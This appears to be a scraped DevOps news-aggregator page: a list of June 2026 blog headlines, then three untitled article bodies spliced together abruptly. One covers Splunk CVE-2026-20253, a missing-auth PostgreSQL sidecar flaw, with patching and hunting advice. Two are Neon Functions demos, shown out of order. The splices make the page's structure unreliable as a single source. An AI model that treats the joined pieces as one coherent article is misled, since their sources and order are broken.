📄 The innovation S-curve: How technology matures, disrupts, and why your next platform decision matters more than you think

Every technology—from the steam engine to the smartphone—follows a predictable arc: slow start, explosive ascent, then a plateau as physics or economics set in. This arc is the innovation S-curve, and

📅 Jun 23, 2026 • 📰 OpenShift Blog

🔗 Read more

📄 Amazon EKS now supports control plane egress through your VPC

Today, we’re announcing customer-routed control plane egress, a new capability that you can use to route Kubernetes control plane traffic through your own Amazon Virtual Private Cloud (Amazon VPC). Th

📅 Jun 22, 2026 • 📰 AWS Containers Blog

🔗 Read more

☁️ Cloud Native

📄 OTel and mesh-derived metrics: A 2026 reference

If you already run an OpenTelemetry pipeline, you have good visibility into what your applications are doing. This blog post is about what you don’t see yet: the east-west traffic between your service

📅 Jun 29, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Red Hat OpenShift delivers high-performance LLM inference for financial services

The financial services industry, like many other sectors, is aiming to make best use of their hardware in the age of resource-intensive AI workloads. Financial services companies have come to rely on

📅 Jun 26, 2026 • 📰 OpenShift Blog

🔗 Read more

📄 How to Generate an SBOM for Container Workflows

Learn when, where, and how to generate SBOMs for container images. Covers build-time vs. post-build approaches, quality criteria, and CI/CD integration.

📅 Jun 25, 2026 • 📰 Docker Blog

🔗 Read more

📄 EU Cyber Resilience Act: Overview, Requirements, and Timelines

Learn what the EU Cyber Resilience Act requires, including SBOM mandates, vulnerability reporting, and compliance deadlines for container teams.

📅 Jun 25, 2026 • 📰 Docker Blog

🔗 Read more

🔄 CI/CD

📄 GitHub and UNDP team up to advance development priorities in Ghana with open source

GitHub joined the United Nations Development Programme in Ghana to explore how open source governance can support one of West Africa's most ambitious digital reform efforts. The post GitHub and UNDP t

📅 Jun 26, 2026 • 📰 GitHub Blog

🔗 Read more

📄 AI Coding Agents Are Pulling CI Feedback Into the Inner Loop

The traditional shape of CI/CD assumed humans worked in the inner loop and pipelines policed the outer one. AI coding agents are tearing that geometry apart. When code can be generated in seconds, wai

📅 Jun 26, 2026 • 📰 DevOps.com

🔗 Read more

📄 Transitioning as a Hubber

How GitHub's culture and benefits helped me be the best version of myself. The post Transitioning as a Hubber appeared first on The GitHub Blog.

📅 Jun 26, 2026 • 📰 GitHub Blog

🔗 Read more

📄 Securing CI/CD for an open source project, part 3: Credentials, verification, and what’s next

This is the third and final post in a series on how Cilium hardens its CI/CD pipeline. Part 1 covered access control and Part 2 covered dependency hardening. This post covers the last layer: keeping C

📅 Jun 26, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Evaluating performance and efficiency of the GitHub Copilot agentic harness across models and tasks

Explore how the GitHub Copilot agentic harness delivers strong results across multiple benchmarks and leading token efficiency, while maintaining flexibility to choose among more than 20 models. The p

📅 Jun 25, 2026 • 📰 GitHub Blog

🔗 Read more

📄 Warehouse-native experimentation comes to BigQuery, Databricks, and Redshift

Analyze your experiments on the same trusted data your business already runs on, so results never come with an asterisk.

📅 Jun 25, 2026 • 📰 LaunchDarkly Blog

🔗 Read more

📄 Google Antigravity agents get full context with GitLab Orbit

Developers working in Google Antigravity can now install our lifecycle context graph, GitLab Orbit, directly from the Antigravity MCP Store and give their agents structured access to projects, pipelin

📅 Jun 25, 2026 • 📰 GitLab Blog

🔗 Read more

📄 GitLab Patch Release: 19.1.1, 19.0.3, 18.11.6

📅 Jun 24, 2026 • 📰 GitLab Blog

🔗 Read more

📄 I automated my job (and it made me a better leader)

Explore how my day as a senior leader looks now that I use 40 automations to help, and learn more about some of my favorites. The post I automated my job (and it made me a better leader) appeared firs

📅 Jun 23, 2026 • 📰 GitHub Blog

🔗 Read more

🏗️ IaC

📄 Introducing ESC Secret Rotation Webhooks

Pulumi ESC centralizes your secrets and configuration, and it can automatically rotate secrets on a schedule so credentials never go stale. But a rotation is only useful if the systems that depend on

📅 Jun 26, 2026 • 📰 Pulumi Blog

🔗 Read more

📄 Govern privileged workload boundaries with Red Hat OpenShift, Ansible Automation Platform, and Identity Management

Platform engineering, security architecture, and operations teams are being asked to support 2 realities at once: modern application platforms such as Red Hat OpenShift, and long-lived Red Hat Enterpr

📅 Jun 25, 2026 • 📰 OpenShift Blog

🔗 Read more

📄 Build a Governed Databricks Workspace with Pulumi

Platform teams responsible for Databricks often find themselves manually configuring clusters and notebooks for every new data science team. This manual overhead leads to inconsistent cluster policies

📅 Jun 25, 2026 • 📰 Pulumi Blog

🔗 Read more

📄 Deploy a Private Hermes Agent on Render Securely with Pulumi, Modal, and Tailscale

Personal AI agents had their breakout this year. OpenClaw crossed 100,000 GitHub stars within months of launching, and self-hosting your own assistant went from a hobbyist trick to something a lot of

📅 Jun 24, 2026 • 📰 Pulumi Blog

🔗 Read more

📄 Cloudflare-First Networking as Code with Pulumi

Platform teams managing multi-cloud applications face a dangerous visibility gap. While origin infrastructure is tightly controlled, the edge configuration often drifts through manual console tweaks.

📅 Jun 23, 2026 • 📰 Pulumi Blog

🔗 Read more

📊 Observability

📄 From query to action: Introducing SQL alerting in Cloud Monitoring Observability Analytics

Traditional alerting systems often force a compromise: you can either alert immediately on simple, noisy log events, or monitor rigid, pre-configured metrics that fail when faced with data with many u

📅 Jun 26, 2026 • 📰 Google Cloud Blog

🔗 Read more

📄 Top Sentry Alternatives to Improve Error Management And System Insights

Explore the best Sentry alternatives that unify error tracking, logs, and metrics to improve incident response and reduce alert fatigue for engineering teams.

📅 Jun 26, 2026 • 📰 New Relic Blog

🔗 Read more

📄 Celebrating Pride and Community Across Our Global Teams

Explore how New Relic drives LGBTQIA+ inclusion through global community impact and a perfect Human Rights Campaign score.

📅 Jun 26, 2026 • 📰 New Relic Blog

🔗 Read more

📄 fluent-package v6.0.4 has been released

Hi users! We have released fluent-package v6.0.4 on 2026-06-26. Fluent Package is a stable distribution package of Fluentd. (successor of td-agent) This is a maintenance release of v6.0.x LTS series.

📅 Jun 26, 2026 • 📰 Fluentd Blog

🔗 Read more

📄 Grafana 13.1 release: observability as code updates, extending Grafana Assistant across more data sources, and more

Earlier this year, Grafana 13 laid the groundwork for making it easier and faster than ever to turn your data into actionable insights. With our latest minor release, Grafana 13.1, we're building on t

📅 Jun 24, 2026 • 📰 Grafana Blog

🔗 Read more

📄 Don't Wrap OpenTelemetry — You're Probably Hurting More Than Helping

There’s a pattern I’ve seen across many teams adopting OpenTelemetry, and it’s well-intentioned every single time. An engineer wants to make things easier for the team. They build a thin abstraction o

📅 Jun 24, 2026 • 📰 OpenTelemetry Blog

🔗 Read more

📄 Post-incident review for TanStack npm supply chain ransom incident: No unauthorized access to customer production systems

On May 27, we completed our internal investigation of the recent TanStack supply chain ransom incident and confirmed our initial findings: The incident was strictly limited to Grafana Labs' GitHub env

📅 Jun 23, 2026 • 📰 Grafana Blog

🔗 Read more

📄 Introducing New Relic Preflight for AI Coding Observability

Understand where your AI spends time, catch problems before they compound, and keep your workflow moving.

📅 Jun 23, 2026 • 📰 New Relic Blog

🔗 Read more

📄 Building and running custom code transformations without leaving your editor

Custom code transformations are the work that no off-the-shelf migrator covers for you. Moving your services off an internal library, enforcing your team’s error-handling conventions, standardizing lo

📅 Jun 22, 2026 • 📰 AWS DevOps Blog

🔗 Read more

🔐 Security

📄 Threats Making WAVs - Incident Response to a Cryptomining Attack

Guardicore security researchers describe and uncover a full analysis of a cryptomining attack, which hid a cryptominer inside WAV files. The report includes the full attack vectors, from detection, in

📅 Jun 29, 2026 • 📰 Linode Blog

🔗 Read more

📄 Snyk VulnBench JS 1.0: Can LLMs Find the Same Bugs Twice?

Snyk VulnBench JS 1.0: 300 repeated scans show LLM security findings vary by run, while SAST and models catch different vulnerability gaps.

📅 Jun 29, 2026 • 📰 Snyk Blog

🔗 Read more

📄 What Does EU AI Act Compliance Require?

Learn what EU AI Act compliance requires at each risk tier, key deadlines through 2027, and how engineering teams can operationalize AI governance.

📅 Jun 27, 2026 • 📰 Docker Blog

🔗 Read more

📄 From Phishing to Vishing: Why DevSecOps Must Rethink Communication Security

Key Takeaways: Vishing is the new frontline threat: Attackers are shifting from emails to phone-based scams, using AI and social engineering to bypass traditional security controls. DevSecOps must exp

📅 Jun 26, 2026 • 📰 DevOps.com

🔗 Read more

📄 Friday Five — June 26, 2026

IBM, Red Hat and Palo Alto Networks Expand Project Lightwell to Help Organizations Respond to Software VulnerabilitiesRed Hat, IBM, and Palo Alto Networks have expanded Project Lightwell to combat AI-

📅 Jun 26, 2026 • 📰 Red Hat Blog

🔗 Read more

📄 Empower your AI tools with new agent skills for Red Hat Enterprise Linux

AI tools are transforming how system administrators and developers manage their infrastructure, but when using generic AI assistants to troubleshoot Red Hat Enterprise Linux (RHEL) systems, the advice

📅 Jun 26, 2026 • 📰 Red Hat Blog

🔗 Read more

📄 OpenAI GPT, OpenAI GPT OSS, and NVIDIA Nemotron models on Amazon Bedrock receive FedRAMP High and DoD IL-4/5 approval in AWS GovCloud (US)

OpenAI GPT, OpenAI GPT OSS, and NVIDIA Nemotron models are now FedRAMP High and Department of Defense Cloud Computing Security Requirements Guide (DoD CC SRG) Impact Level (IL) 4 and 5 approved within

📅 Jun 25, 2026 • 📰 CloudFormation Updates

🔗 Read more

📄 NVD in the AI Era: The Case for Multi-Source Vulnerability Intelligence

NIST’s shift to risk-based enrichment makes one thing clear: modern security teams need more than a single public source. In the AI era, trusted vulnerability intelligence depends on multiple signals,

📅 Jun 25, 2026 • 📰 Snyk Blog

🔗 Read more

📄 From alert fatigue to automated action: Automated patching in the AI era

AI models are outpacing human-scale security operations. AI can surface vulnerabilities across major systems faster than teams can act, and most organizations lack the patching capacity to keep up. Th

📅 Jun 25, 2026 • 📰 Red Hat Blog

🔗 Read more

📄 Fluentd v1.19.3 has been released

Hi users! We have released v1.19.3 on 2026-06-25. ChangeLog is here. This release is a maintenance release of v1.19 series. This release is bundled for fluent-package LTS version v6.0.4! Security Fixe

📅 Jun 25, 2026 • 📰 Fluentd Blog

🔗 Read more

📄 A Note to Our Customers and Partners

A note to our customers and partners about Snyk's AI transformation and organizational changes.

📅 Jun 24, 2026 • 📰 Snyk Blog

🔗 Read more

📄 What is an SBOM (and Why Can’t You Ship Without One)?

Learn what a software bill of materials (SBOM) is, why it matters for supply chain security, how to generate one, and what formats and standards to use.

📅 Jun 23, 2026 • 📰 Docker Blog

🔗 Read more

💾 Databases

📄 pgtt v4.5 has been released

Bangkok, Thailand - June 21, 2026 PostgreSQL Global Temporary Tables pgtt is a PostgreSQL extension to create, manage and use DB2 or Oracle-style Global Temporary Tables. Once created the use is just

📅 Jun 28, 2026 • 📰 PostgreSQL News

🔗 Read more

📄 pg_qualstats 2.1.4 is out!

Taipei, Taiwan - Sat 20 Jun pg_qualstats 2.1.4 The PoWA team is pleased to announce the release of the version 2.1.4 of pg_qualstats, a PostgreSQL extension keeping statistics on predicates found in W

📅 Jun 26, 2026 • 📰 PostgreSQL News

🔗 Read more

📄 pg_stat_kcache 2.3.2 is out!

Taipei, Taiwan - Sat 20 Jun pg_stat_kcache 2.3.2 The PoWA team is pleased to announce the release of the version 2.3.2 of pg_stat_kcache, an extension that gathers statistics about real reads and writ

📅 Jun 26, 2026 • 📰 PostgreSQL News

🔗 Read more

📄 pgEdge Announces ColdFront for PostgreSQL, Seamlessly Uniting AI, Analytical and OLTP Workloads

Offers read and write access to hot and cold storage with no application code changes, delivering up to 90% savings in storage ALEXANDRIA, Va., June 18, 2026 — pgEdge, the leading open source enterpri

📅 Jun 26, 2026 • 📰 PostgreSQL News

🔗 Read more

📄 10 Years of MongoDB Atlas: Built for What’s Next

Nearly a decade ago, I joined MongoDB as a Senior Product Manager to help build the company’s new cloud product, MongoDB Atlas. Our customers had been telling us they wanted to bring MongoDB’s familia

📅 Jun 25, 2026 • 📰 MongoDB Blog

🔗 Read more

📄 Using Salting to Lower Latency for Large Blobs in ScyllaDB

A modified salting technique that cuts P99 write latency 22x for large blobs

📅 Jun 25, 2026 • 📰 ScyllaDB Blog

🔗 Read more

📄 Hunting a 16-year-old SQLite bug with TLA+: is dqlite affected?

This article was written by Marco Manino and Alberto Carretero, dqlite team at Canonical. 1. Anatomy of a SQLite bug Recently SQLite published a new version with a fix to a long-standing bug in the wa

📅 Jun 25, 2026 • 📰 Ubuntu Blog

🔗 Read more

📄 Riding the Raft to Strong Consistency in ScyllaDB

How ScyllaDB is using per-tablet Raft groups to bring strong consistency to data, without sacrificing the parallelism that makes it fast

📅 Jun 24, 2026 • 📰 ScyllaDB Blog

🔗 Read more

📄 Knowledge graph retrieval-augmented generation (RAG): structured retrieval for AI agents

A user asks your support agent: "is the slow-sync bug from my last ticket fixed in the version you told me to upgrade to?" Answering means connecting three documents: the customer's earlier ticket, th

📅 Jun 24, 2026 • 📰 Redis Blog

🔗 Read more

📄 The Fintech AI Platform: Why Agents Need One Database, Not Five

A few months ago I watched a fintech engineering team walk me through their AI agent platform. They had a transactional database for balances and ledgers, a separate vector database for semantic retri

📅 Jun 23, 2026 • 📰 TiDB Blog

🔗 Read more

📄 Build Trust in Agentic AI: From POC to Production

The enterprise adoption of artificial intelligence has reached an inflection point. Organizations are rapidly moving into the era of agentic AI, autonomous systems capable of executing complex reasoni

📅 Jun 23, 2026 • 📰 MongoDB Blog

🔗 Read more

📄 Context engineering vs prompt engineering: the real difference

A customer asks your support agent whether their refund went through. The agent checks, says yes, and cites a confirmation number. The refund actually bounced back twenty minutes ago, but the lookup t

📅 Jun 23, 2026 • 📰 Redis Blog

🔗 Read more

🌐 Platforms

📄 Keep Your Tech Flame Alive: Trailblazer Rachel Bayley

In this Akamai FLAME Trailblazer blog post, Rachel Bayley encourages women to step into the unknown and to be their authentic selves.

📅 Jun 29, 2026 • 📰 Linode Blog

🔗 Read more

📄 The Oracle of Delphi Will Steal Your Credentials

Our deception technology is able to reroute attackers into honeypots, where they believe that they found their real target. The attacks brute forced passwords for RDP credentials to connect to the vic

📅 Jun 29, 2026 • 📰 Linode Blog

🔗 Read more

📄 The Nansh0u Campaign – Hackers Arsenal Grows Stronger

In the beginning of April, three attacks detected in the Guardicore Global Sensor Network (GGSN) caught our attention. All three had source IP addresses originating in South-Africa and hosted by Volum

📅 Jun 29, 2026 • 📰 Linode Blog

🔗 Read more

📄 Call for Contributors: OpenTelemetry for Dart and Flutter

Why OpenTelemetry for Dart and Flutter? Dart is a full-stack language and the language of Flutter, one of the most popular frameworks for building cross-platform applications. Data shows over 20% of c

📅 Jun 29, 2026 • 📰 OpenTelemetry Blog

🔗 Read more

📄 “Bring it to our shop”: Workday’s pitch for keeping AI agents close to your most valuable data

Workday, the payroll and HR data platform, has been pursuing AI and agents for a while, but while other businesses The post “Bring it to our shop”: Workday’s pitch for keeping AI agents close to your

📅 Jun 28, 2026 • 📰 The New Stack

🔗 Read more

📄 Okta is the first to bring AI agent governance inside FedRAMP boundaries

Okta has made its AI agent governance platform generally available for FedRAMP- and HIPAA-regulated environments, becoming what it claims is the first independent The post Okta is the first to bring A

📅 Jun 28, 2026 • 📰 The New Stack

🔗 Read more

📄 Securing agentic AI with perimeter guardrails: What's new in VPC Service Controls

As enterprises scale autonomous AI agents into production, enabling safe innovation requires robust architectural guardrails. AI agents connect across tools and datasets, so it’s essential to establis

📅 Jun 26, 2026 • 📰 Google Cloud Blog

🔗 Read more

📄 Sovereign, Open, and Carrier-Grade: What SUSE Telco Cloud 3.6 Actually Delivers

Table of Contents Introduction What “Technology Preview” Actually Means MetalLB BGP Mode in SUSE Telco Cloud 3.6: Load Balancing That Talks to Your Network PTP (Precision Time Protocol) for 5G: The Pr

📅 Jun 26, 2026 • 📰 SUSE Blog

🔗 Read more

📄 What’s new with Google Cloud

Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. Tip: Not

📅 Jun 26, 2026 • 📰 Google Cloud Blog

🔗 Read more

📄 Amazon EC2 R8g instances now available in additional regions

Starting today, Amazon Elastic Compute Cloud (Amazon EC2) R8g instances are available in AWS Asia Pacific (Thailand, New Zealand), AWS Africa (Cape Town), AWS Europe (Milan), and AWS Canada West (Calg

📅 Jun 26, 2026 • 📰 CloudFormation Updates

🔗 Read more

📄 Every (Agents) Connection to Railway

We've created a few workflow patterns on how to get your agent talking to Railway peacefully. The balance of Local and Remote MCPs, Railway's Agent Skills, the CLI + Railway Agent give your local harn

📅 Jun 26, 2026 • 📰 Railway Blog

🔗 Read more

📄 How AI Is Transforming DevOps and Cloud Engineering

While AI is often associated with chatbots or generative models, one of its most significant impacts is happening behind the scenes — within DevOps and cloud engineering.

📅 Jun 26, 2026 • 📰 DevOps.com

🔗 Read more

📰 Misc

📄 Visual Studio Code 1.127 (Insiders)

Learn what's new in Visual Studio Code 1.127 (Insiders) Read the full article

📅 Jul 1, 2026 • 📰 VS Code Blog

🔗 Read more

📄 Kotlin Notebook Sunset

Starting from IntelliJ IDEA 2026.2, JetBrains will sunset Kotlin Notebook as a product and will no longer maintain it. The plugin will remain available on an open-source model so the community can con

📅 Jun 29, 2026 • 📰 JetBrains Blog

🔗 Read more

📄 Greptile, Cursor, and Devin agree that agents should run their code. What they run it against matters.

The industry has recognized that shipping agent code at scale requires runtime verification, and it is moving that way fast. The post Greptile, Cursor, and Devin agree that agents should run their cod

📅 Jun 27, 2026 • 📰 The New Stack

🔗 Read more

📄 Vibe slop is the symptom. Context debt is the disease.

Some of the engineers who made vibe coding possible have decided it’s a problem. Last month, The Wall Street Journal’s The post Vibe slop is the symptom. Context debt is the disease. appeared first on

📅 Jun 27, 2026 • 📰 The New Stack

🔗 Read more

📄 AI Is Accelerating How Fast We Build the Wrong Thing

AI coding assistants have made it trivially easy to ship software faster — and that is precisely the problem. Human developers used to absorb the gaps in a vague spec by asking questions, reading betw

📅 Jun 26, 2026 • 📰 DevOps.com

🔗 Read more

📄 Open-Sourcing the LSP Client API in IntelliJ IDEA 2026.2

Language Server Protocol (LSP) solves a real problem: before, each IDE or editor had to implement support for a specific language separately. A language server puts that work in one place and exposes

📅 Jun 26, 2026 • 📰 JetBrains Blog

🔗 Read more

📄 Challenges designers face in open source (and how to fix them)

Open source powers up to 90% of modern software, yet many projects lack usability. Canonical’s Design team surveyed 115 cross-functional professionals to uncover the 4 core challenges UI/UX designers

📅 Jun 26, 2026 • 📰 Ubuntu Blog

🔗 Read more

📄 Iterating faster with TypeScript 7

How the VS Code and TypeScript teams collaborated to adopt TypeScript 7 and speed up VS Code development Read the full article

📅 Jun 26, 2026 • 📰 VS Code Blog

🔗 Read more

📄 The Dev Containers Story: Introducing EelApi for Plugin Authors

Modern development has shifted one old IDE paradigm significantly: Now, not only is it possible that a project is not hosted on the same physical or remote machine as your IDE instance, it could even

📅 Jun 25, 2026 • 📰 JetBrains Blog

🔗 Read more

📄 The Real Winner of Cursor’s $60B Acquisition Won’t Be AI Coding Assistants

When news broke that SpaceX would acquire Cursor’s parent company, Anysphere, in a reported $60 billion all-stock deal, most of the discussion centered around AI. This was another milestone and enormo

📅 Jun 25, 2026 • 📰 JetBrains Blog

🔗 Read more

📄 Why automated network configuration assurance matters for enterprise NetOps

Every network operations (NetOps) professional knows the anxiety of a manual configuration update. Even when you meticulously plan the change, a single unrecorded variable or an ad hoc configuration t

📅 Jun 25, 2026 • 📰 Red Hat Blog

🔗 Read more

📄 Visual Studio Code 1.126

Learn what is new in Visual Studio Code 1.126 Read the full article

📅 Jun 24, 2026 • 📰 VS Code Blog

🔗 Read more

That is CVE-2026-20253, a critical flaw in Splunk Enterprise. Splunk 10 bundles a PostgreSQL sidecar to back some of its newer features, and in affected versions the endpoint that talks to that sidecar did not check who was calling it. Anyone who could reach it over the network could invoke file operations without credentials, which is a pre-auth foothold on a box that, being a SIEM, sees everything. It is rated CVSS 9.8, it is patched, and CISA added it to the Known Exploited Vulnerabilities catalog on June 18, 2026, upgrading it from proof-of-concept to active exploitation the next day.

Here is what the bug is, what to do about it today, and the more useful point hiding underneath it.

What the bug is

The vulnerable component is the PostgreSQL sidecar service that ships with Splunk Enterprise 10. Splunk runs it as a companion process to support functionality added in the 10 line. The problem is classic and is captured exactly by its weakness class, CWE-306: Missing Authentication for Critical Function: the sidecar's endpoint exposed file operations and never verified the caller.

In practice that means an unauthenticated, network-reachable attacker can create or truncate arbitrary files on the host, running as the Splunk user. Arbitrary file write as a service account is not the end state an attacker wants, it is the stepping stone: write to a location the platform later executes, clobber a config, or drop a script, and file-write becomes remote code execution. That escalation is why the industry reporting calls this an unauthenticated RCE and why it is being exploited in the wild rather than sitting as a theoretical write primitive.

Who is affected

Per the advisory, the affected and fixed versions are:

• Splunk Enterprise 10.2, below 10.2.4 (fixed in 10.2.4)
• Splunk Enterprise 10.0, below 10.0.7 (fixed in 10.0.7)
• 9.4 and earlier are not affected, because they predate the PostgreSQL sidecar, which is the whole reason the exposure exists in the 10 line and not before.

If you run Splunk Cloud, Splunk manages that patching; the urgent action is for self-managed Enterprise installs. The vulnerability was published on June 10, 2026 and the exploitation status moved to active by June 19.

What to do now

The fix is an upgrade, and there is a real mitigation if you cannot upgrade immediately.

1. Upgrade to 10.2.4 or 10.0.7 (or later). This is the actual remediation.

2. If you cannot upgrade today, disable the PostgreSQL sidecar service. The advisory calls this out as the mitigation. You lose the features that depend on it, but you close the hole.

3. Check whether the sidecar is even reachable. A missing-auth bug only matters if an attacker can reach the port. On each Splunk host, see what is listening and from where:

# What is listening, and is the Postgres sidecar bound to all interfaces?
sudo ss -tlnp | grep -i postgres
# or, more broadly, anything exposed beyond localhost
sudo ss -tlnp | awk '$4 !~ /127.0.0.1|::1/'

If that sidecar is bound to 0.0.0.0 and your Splunk hosts are reachable from anything other than a tightly controlled management network, you are in the exposed group. Firewall it to localhost or a management subnet regardless of patch state.

4. Hunt for the file-write footprint. Because the primitive is arbitrary file create/truncate as the Splunk user, look for what that leaves behind: recently created or zero-length files under Splunk's directories and writable paths, unexpected changes to startup or config files, and anomalous processes spawned by the Splunk service account.

The part that outlives this CVE

Patch the bug and the headline is over. The pattern is not.

Modern "appliance" software (SIEMs, observability suites, internal developer platforms, self-hosted SaaS) increasingly ships with helper services baked in. A bundled PostgreSQL for metadata. A Redis for caching. A message broker for events. An embedded object store. These are convenient: the product works out of the box because its dependencies come with it. They are also attack surface you inherited without choosing it, and they have three uncomfortable properties.

They are invisible. Nobody filed a ticket to stand up that Postgres, so it is not in your inventory, your CMDB, or your threat model. You cannot defend a service you do not know is running.

They are on someone else's patch cadence. The bundled database is versioned and updated by the vendor, inside the product, on the vendor's schedule. You do not get to apply a Postgres CVE fix to it directly; you wait for the appliance update. Splunk's sidecar is exactly this: a database you do not administer, patched only when Splunk ships a new build.

They are assumed to be internal, which quietly gets read as "safe." The sidecar talks to the main process over the loopback or the local network, so it was built as if only trusted callers would ever reach it. Missing authentication looks acceptable right up until the host is multi-homed, the port binds to 0.0.0.0, or someone is already on the segment.

So the durable takeaway is an inventory and segmentation habit, not a one-time patch:

• Inventory what your tools spawn. For the platforms that matter, actually look: ss -tlnp on the hosts, the container or pod list for the deployment, the process tree under the service account. Write down every helper service and what port it listens on.
• Segment internal sidecars by default. Bind helper services to localhost or a dedicated management network, and firewall them there. "It is only for internal use" should be enforced by the network, not assumed by the code.
• Do not equate internal with authenticated. Treat an unauthenticated internal endpoint as a finding in its own right, before someone else finds it for you.
• Watch vendor changelogs for new bundled dependencies. "Now includes an embedded PostgreSQL" in release notes is a security event, not just a feature. It means your attack surface changed and your inventory is now out of date.

CVE-2026-20253 is a clean, fixable bug, and if you run Splunk Enterprise 10 you should go fix it now. But the reason it is worth more than a line in a patch log is that almost every team is running some tool that quietly brought its own database along, and almost nobody has it written down.

This is the second post in our series on Neon Functions. The first was about where your compute runs relative to your data; this one is about how long it is allowed to keep talking. Neon Functions are built to hold long-lived streaming connections, so a slow agent or a long stream is a normal request, not a fight with a timeout. To show it rather than assert it, I deployed two endpoints and measured them.

(Companion repo, deploy it yourself: The-DevOps-Daily/neon-streaming-demo.)

Two endpoints, one config

The whole backend is a single Hono function with the AI Gateway switched on in neon.ts:

import { defineConfig } from '@neondatabase/config/v1';

export default defineConfig({
  preview: {
    aiGateway: true,
    functions: {
      stream: { name: 'streaming demo', source: 'src/index.ts' },
    },
  },
});

The streaming itself is ordinary Hono. The first endpoint holds a server-sent-events connection open and emits a tick every second, for as many seconds as you ask:

import { streamSSE } from 'hono/streaming';

app.get('/long-stream', (c) => {
  const seconds = Math.min(600, Math.max(1, Number(c.req.query('seconds') ?? '90')));
  const start = Date.now();
  return streamSSE(c, async (stream) => {
    for (let i = 1; i <= seconds; i++) {
      await stream.writeSSE({ event: 'tick', data: JSON.stringify({ tick: i, elapsed_ms: Date.now() - start }) });
      await stream.sleep(1000);
    }
    await stream.writeSSE({ event: 'done', data: JSON.stringify({ ticks: seconds }) });
  });
});

It streamed for 90 seconds without being asked twice

I called /long-stream?seconds=90 and let it run. It ticked once a second, on the second, for a minute and a half, and closed cleanly on its own terms:

Ninety seconds is not a magic number; I picked it because it is comfortably past the execution cap a lot of serverless functions ship with by default, and the function did not care. No special mode, no config flag, no "streaming response" opt-in. The handler just held the connection.

Now stream an actual agent

A ticking clock proves the connection lasts. The real workload is a model streaming tokens. The second endpoint sends the prompt to the Neon AI Gateway with stream: true and relays each token to the caller as it arrives:

const upstream = await fetch(`${process.env.NEON_AI_GATEWAY_BASE_URL}/ai-gateway/mlflow/v1/chat/completions`, {
  method: 'POST',
  headers: { Authorization: `Bearer ${process.env.NEON_AI_GATEWAY_TOKEN}`, 'content-type': 'application/json' },
  body: JSON.stringify({ model: 'gpt-5-nano', stream: true, messages }),
});
// ...parse the upstream SSE and re-emit each delta as it lands
await stream.writeSSE({ event: 'token', data: JSON.stringify({ delta }) });

Calling it with a small prompt, the first token came back at 466 ms and the full 62-token reply finished at about 2.0 seconds. The reader sees the answer forming almost immediately instead of waiting two seconds for a wall of text:

Two seconds is short because the model and the prompt are small. The reason this matters is that real agents are not short: they make several model calls, run tools between them, and a full run is routinely tens of seconds. On a platform that caps invocations at 10 or 60 seconds, that run is a gamble against the clock. On a function built to hold the stream, it is just a request that takes a while.

What it is, and what it is not

Two more things worth knowing before you reach for this:

• It is request/response, even when the response is long. These functions answer a caller and can keep streaming to it for a long time, including over WebSockets and SSE. They are not a background job runner. Work that should outlive the request (queues, retries, scheduled tasks) belongs to something like Inngest or QStash.
• Idle functions can be evicted. A long active stream is fine; a function sitting idle may be scaled to zero and cold-start on the next call. That is the usual serverless tradeoff, not a streaming-specific one.

Who this is for

If you are shipping anything agentic (a chat assistant, a tool-using agent, a long generation, an MCP server holding a session), the timeout is the wall you hit first, and the usual workaround is to learn your platform's extended-duration mode and hope you configured it right. A function that holds the stream by default removes that whole category of "why did my response get cut off" debugging.

The full demo, both endpoints, is here. The streaming logic is about 80 lines:

Next in the series: a Postgres-backed MCP server in about twenty lines, and preview environments that include the backend, not just the frontend. The strategy behind all of it is in Neon is becoming a backend platform, not just Postgres.

Neon Functions, part of Neon's June 2026 platform preview, takes a different position: run the compute in the same region as the database branch, on a URL scoped to that branch. This is the first in a series on what that buys you. It is also the simplest to demonstrate, because the benefit is something you can measure. I deployed a small REST API and timed a trivial query two ways. The numbers are at the bottom, and they are not close.

(Companion repo, deploy it yourself: The-DevOps-Daily/neon-functions-demo.)

The whole backend is one config file

Neon ships starter templates through its CLI. The REST API is one of them:

What gets deployed is declared in neon.ts. For this API it is three lines of intent: take src/index.ts and run it as a function called todos.

import { defineConfig } from '@neondatabase/config/v1';

export default defineConfig({
  preview: {
    functions: {
      todos: { name: 'todo api', source: 'src/index.ts' },
    },
  },
});

No connection string in there, no region to pick for the compute, no URL to reserve. The DATABASE_URL is injected at deploy time, and the function lands in the same region as the branch automatically.

The function is a normal web handler

There is nothing Neon-specific in the application code. It is a standard Hono app talking to Postgres through a connection pool, the same code you would write for any Node host:

import { Hono } from 'hono';
import { drizzle } from 'drizzle-orm/node-postgres';
import { Pool } from 'pg';
import { parseEnv } from '@neondatabase/env';
import config from '../neon';
import { todos } from './db/schema';

const env = parseEnv(config);
const pool = new Pool({ connectionString: env.postgres.databaseUrl, max: 5 });
const db = drizzle(pool);

const app = new Hono();
app.get('/todos', async (c) => c.json(await db.select().from(todos)));
app.post('/todos', async (c) => {
  const { text } = await c.req.json<{ text: string }>();
  const [row] = await db.insert(todos).values({ text }).returning();
  return c.json(row, 201);
});

export default app;

After neonctl deploy, that handler answers at a branch-scoped URL, and the create/read path works end to end:

curl -X POST "$URL/todos" -H 'content-type: application/json' -d '{"text":"ship it"}'
# {"id":1,"text":"ship it","createdAt":"2026-06-25T16:17:10.692Z"}  (201)
curl "$URL/todos"
# [{"id":1,"text":"ship it","createdAt":"2026-06-25T16:17:10.692Z"}]  (200)

The phrase "branch-scoped URL" is the part worth slowing down on. Open a branch off this one and it gets its own function at its own URL, running your latest code against that branch's data. The preview environment for a pull request stops being "the frontend plus a shared backend" and becomes a real, isolated copy. We will spend a whole post on that later; for now, the point is that the function and the branch are one unit.

Now measure the distance

Here is the part you can put a number on. The function exposes a /db-latency endpoint that times thirty SELECT 1 round trips from inside the handler and returns the median. Because the function runs in the same region as the branch, this is the local hop:

curl "$URL/db-latency"
# { "from": "neon function (us-east-2, co-located with Postgres)",
#   "runs": 30, "min_ms": 1.13, "median_ms": 1.19, "p95_ms": 1.62 }

Just over a millisecond. Then I ran the exact same SELECT 1, against the exact same database, from a machine in Europe (this site's build box, a Raspberry Pi a long way from us-east-2):

# same query, same database, from a machine on another continent
# { "from": "europe -> us-east-2", "runs": 30,
#   "min_ms": 130.46, "median_ms": 134.54, "p95_ms": 138 }

Same query, same database. The only thing that changed is where the caller sits.

